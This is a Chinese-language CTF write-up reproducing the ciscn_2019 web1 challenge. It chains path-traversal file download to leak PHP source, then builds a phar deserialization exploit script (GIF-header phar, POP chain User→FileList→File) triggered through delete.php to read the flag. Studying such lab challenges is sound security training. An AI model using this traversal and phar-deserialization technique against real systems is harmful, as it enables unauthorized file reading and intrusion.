CTF ciscn_2019_web_northern_china_day1_web1复现

时间:2024-10-01 13:35:54

ciscn_2019_web_northern_china_day1_web1

复现,环境源于CTFTraining

分析

拿到题目扫描,发现没有什么有用资产
扫描过程中注册账号登录,发现上传入口
上传文件,发现下载删除行为,寻找功能点,发现不能访问uploads(扫出来的
访问上传的文件会定位回index.php
下载,发现能下载,前端源码并没有可以攻击的点,抓包
在这里插入图片描述
filename可以控制,很明显的钩子
下载download.php,发现不能直接下载,开始穿越目录,到第二层时成功
源码

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

下载class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

还有index.php (但是好像没什么用
发现文件读取函数file_get_contents()所以我们肯定是需要用到这个File->close()来获得flag

注意:任意文件下载漏洞过滤了flag​????​


先找利用链到 => file_get_contents()

  • Files中的results会被输出,在执行__call魔术方法时会把调用func的输出存储在result
  • 为了调用__call我们需要调用一个FileList没有的方法
  • User在销毁时会对成员db调用close

总结出POP链:User:db->__destruct:db:close->FileList:__call->File:__close->file_get_contents()

下一步,找到利用的方法
CTF中PHP的类的问题一般与序列化有关,查找相关资料,发现phar的反序列化攻击漏洞

https://paper.seebug.org/680/
https://xz.aliyun.com/t/2715?u_atoken=32c59ca9934f4d8f741fb56c6cd1090b&u_asig=0a47314717273488256545069e003d

在这里插入图片描述


关键点在于文件操作函数,伪协议未过滤
由于此问中没有unserial函数而uploads.php中调用了File->open函数,open函数调用了file_exits()
在这里插入图片描述
所以时可以利用phar反序列化 通过魔术方法攻击

还有一个点,怎么调用 ​➡️​ 传参时用phpr://执行

执行

<?php
/*参考公布的资料
* 这题没限制文件类型
*/
class User {
    public $db;
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $file = new File();
        $file->filename = '/flag.txt';
        $this->files = array($file);
        $this->results = array();
        $this->funcs = array();
    }
}

class File {
    public $filename;
}

ini_set('phar.readonly',0);

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar

$phar->startBuffering();

$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
// 通过user -> filelist -> file:__destruct
$o = new User();
$o->db = new FileList();

$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "ctftest"); //添加要压缩的文件
//签名自动计算

$phar->stopBuffering();
?>

php exp.php 报错phar.readonly

kali上更改php.ini配置:
先查看php.ini文件的位置 php -r 'phpinfo();' (在前几行
在这里插入图片描述
sudo grep -n 'phar.readonly' /etc/php/8.1/cli/php.ini 确定行数
sudo vim /etc/php/8.1/cli/php.ini 修改;phar.readonly=Onphar.readonly=Off(分号是注释的意思

再执行,获得phar.phar 上传发现有个验证gif\jpeg,增加前缀修改后缀,上传,em。。。就很难绷
在这里插入图片描述
还有个功能点没看delete (用之前的任意文件下载

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

ok,传参filename,用伪协议把phar执行了,然后发现flag回显了
在这里插入图片描述

Final

所以为啥我uploadfilename不行呢?
因为ini_set("open_basedir", getcwd() . ":/etc:/tmp"); phar执行时不能访问/uploads/phar.gif ????
知识加一 ~

__call操作详解

  1. array_push($this->funcs, $func);

    • 将传入的不存在的方法名$func推入当前对象的$funcs数组中。这可能是为了记录所有被调用但实际上不存在的方法名称,以便后续处理或分析。
  2. foreach ($this->files as $file)

    • 遍历当前对象的$files属性,假设$files是一个包含多个对象的数组。
  3. $this->results[$file->name()][$func] = $file->$func();

    • 对于每个遍历到的$file对象,获取其名称作为键,将不存在的方法名$func作为内层键,然后调用$file对象上的这个不存在的方法,并将返回值存储在$this->results数组中。

exp详解

  1. ini_set('phar.readonly',0);

    • 这行代码将 PHP 的配置项 phar.readonly 设置为 0,表示允许创建和修改 Phar 文件。默认情况下,这个配置可能是设置为只读以提高安全性。
  2. @unlink("phar.phar");

    • 尝试删除名为 phar.phar 的文件。使用 @ 符号抑制可能出现的错误消息。这一步可能是为了确保在创建新的 Phar 文件时不会出现同名文件冲突。
  3. $phar = new Phar("phar.phar"); //后缀名必须为 phar

    • 创建一个新的 Phar 对象,并指定文件名 phar.phar。Phar 文件是一种将多个文件和资源打包到一个单独文件中的归档格式,在 PHP 中可以方便地进行分发和部署。
  4. $phar->startBuffering();

    • 启动缓冲模式。在缓冲模式下,可以对 Phar 文件进行一系列的操作,而这些操作不会立即写入磁盘,直到调用 stopBuffering() 方法。
  5. $phar->setStub("<?php __HALT_COMPILER();?>"); //设置 stub

    • 设置 Phar 文件的 stub。Stub 是在 Phar 文件被执行时首先被执行的代码。这里的 stub 只是一个简单的 __HALT_COMPILER(); 语句,它会停止 PHP 编译器的执行,通常用于确保 Phar 文件的完整性和安全性。
    • $phar->setStub("GF89a<?php __HALT_COMPILER();?>");//设置 GIF头绕过
  6. $o = new User();$o->db = new FileList();

    • 创建一个 User 对象,并为其属性 db 分配一个新的 FileList 对象。这可能是为了将自定义的对象作为元数据存储在 Phar 文件中。
  7. $phar->setMetadata($o); //将自定义的 meta-data 存入 manifest

    • 将前面创建的 $o 对象作为元数据存储在 Phar 文件的 manifest 中。元数据可以包含关于 Phar 文件的各种信息,例如版本号、作者、依赖关系等。在这个例子中,自定义的 User 对象及其属性可能包含特定于应用程序的信息。
  8. $phar->addFromString("exp.txt", "glzjin"); //添加要压缩的文件

    • 向 Phar 文件中添加一个名为 exp.txt 的文件,内容为 "glzjin"。可以使用 addFromString 方法添加字符串内容作为文件,也可以使用其他方法添加实际的文件路径或资源。
  9. $phar->stopBuffering();

    • 停止缓冲模式,并将缓冲中的内容写入 Phar 文件。这一步确保所有的操作都被保存到磁盘上的 Phar 文件中。

ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);

  1. ini_set("open_basedir", getcwd(). ":/etc:/tmp");
    • ini_set()函数用于在运行时设置 PHP 配置项的值。在这里,它设置了open_basedir配置项。
    • getcwd()函数返回当前工作目录的路径。这个路径与:/etc:/tmp一起组成了允许 PHP 脚本访问的文件系统路径列表。

设置open_basedir有以下几个主要作用:

  1. 增强安全性:通过限制 PHP 脚本只能访问特定的目录,可以防止恶意脚本访问敏感的系统文件或其他不应该被访问的区域。例如,防止脚本访问系统的关键配置文件或其他用户的文件。
  2. 提高稳定性:限制文件系统访问范围可以减少由于脚本错误或恶意行为导致的文件系统损坏或数据泄露的风险。
  3. 优化性能:在某些情况下,限制访问范围可以减少文件系统的搜索时间,提高脚本的执行效率。

Thanks to LLM : )